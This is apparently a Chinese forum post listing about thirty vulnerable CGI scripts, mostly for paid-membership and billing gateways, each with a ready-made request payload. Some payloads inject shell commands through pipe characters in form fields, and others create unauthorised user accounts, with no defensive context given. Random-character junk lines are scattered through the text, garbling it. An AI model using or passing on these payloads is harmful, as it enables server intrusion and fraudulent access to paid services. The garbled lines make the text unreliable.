Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
6 ]* _& T* V; yusername=username&password=password

/index.cgi
" h+ ~) M- _7 N/ Wwei=ren&gen=command

/passmaster.cgi
Action=Add&Username=Username&Password=Password

/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
$ t' G4 r8 v4 v$ {0 i
+ e7 Y; E# L8 |! c. r5 ]5 o/ y/ v/addusr.pl
: z1 o& F+ j, R1 W, ^! a/cgi-bin/EuroDebit/addusr.pl
( j9 y% N# _& M3 c( `user=username&pass=Password&confirm=Password

/ccbill-local.asp
. ?: ~+ r: A7 ?* w. Bpost_values=username:password
' g! H. K% K, J' t+ [# ]4 P7 M
/count.cgi
pinfile=|echo;ls -la;exit|

/recon.cgi
8 Z6 Q, g9 A! V' r! [/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

' ~2 A- n& b, V4 c9 g0 H/verotelrum.pl
, Y" i* X5 m+ M2 Q& x. {/ Xvercode=username:password:dseegsow:add:amount<&30>

7 ~  C( _# Y+ m8 M1 Z0 d" u/af.cgi
_browser_out=|echo;ls -la;exit;|
) r1 V3 W8 i; c/ t3 u
/modify.cgi
username=username&password=password&expire=30
) g" {/ v4 R1 p1 c7 S
) R  B, E) q7 {$ e! g/openjournal.cgi
) Q; y! S" F* P+ J" m$ A, p. pedit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
& M# U7 d/ H+ }' w* |cmd=ADD&user=username&pass=password

5 y- }; M  B; s4 s! ]% e8 ]. r' X4 P/probecontrol.cgi
command=enable&username=username&password=password

" Y1 l1 @  @" [/ j/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

/htadd.pl
( M* ~# n" J; b5 {/ bconfigfile=|echo; ls -alt; exit

/gx9passwd.cgi
% B' y- r  V2 B# Q) c/ n6 ?& q$ wcmd=ADD&user=username&pass=password
1 s5 q4 J9 Q2 u) n: |& G& a
/ibill*.pl
  v" p+ I& a5 B" r9 V" hreqtype=add&authpwd=authpwd&username=username&password=password
" s  X- m3 p  l+ G$ e
5 p  c: h  W- p% ^! e; U# Z$ D/cpay.cgi
0 h- q3 y* Q7 E$ ycommand=add_member&username=username(EMAIL)&password=password(DES)

$ m; d$ F. k6 s  u% Q/globill_ut.cgi
$ G1 s# {- W6 w9 B! cdo=add&username=username&password=password&wpassword=password

5 P! E! q( Z7 ^/usercontrol.cgi
5 _7 D9 M  A& |4 a- dcommand=enable&username=USER&password=PASS
1 B+ U; B& K$ `) `- Q( R/ J
$ U  ^& }' z; p. e/globoSALErum.cgi
, d2 a# l+ e! v' U, Raction=ADD&seccode=seccode&login=username&password=password
3 ]  y6 W, n" g7 \+ T$ l  p
& e* Z+ G( @4 p& \5 Y/addusr.pl
user=USER&pass=PASS&confirm=PASS
% g& R$ @  l, [$ H! ^8 s- B
6 v! J" \, m$ ^& w$ {3 E8 L; ]/pincount.cgi
  _3 R9 p+ {1 E& e/ Q. C/ A/cgi-bin/mastergate/pincount.cgi
' [- P) Y9 M+ U- e, B; E* wpinfile=|echo;pwd;exit|
. b- F% }6 |& q$ M) U
/accountcreate.cgi
2 Y$ d% }7 X8 u4 B/cgi-bin/gateway/accountcreate.cgi
% X' ]5 E2 L2 K$ zusername=username&password=password&password2=password&ref1=|echo;ls -al;exit

5 N  H6 _- Y- O1 [% w3 ]/af.cgi
/env.cgi
ADD+;echo;pwd;exit

/count.cgi
pinfile=|echo;pwd;exit|

% k/ v+ i" s( _5 j/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
, M5 H9 \- J8 w3 M* Rusername=username&password=password&expire=30
# @( D5 c1 N7 K7 ^  \8 S- @
==============================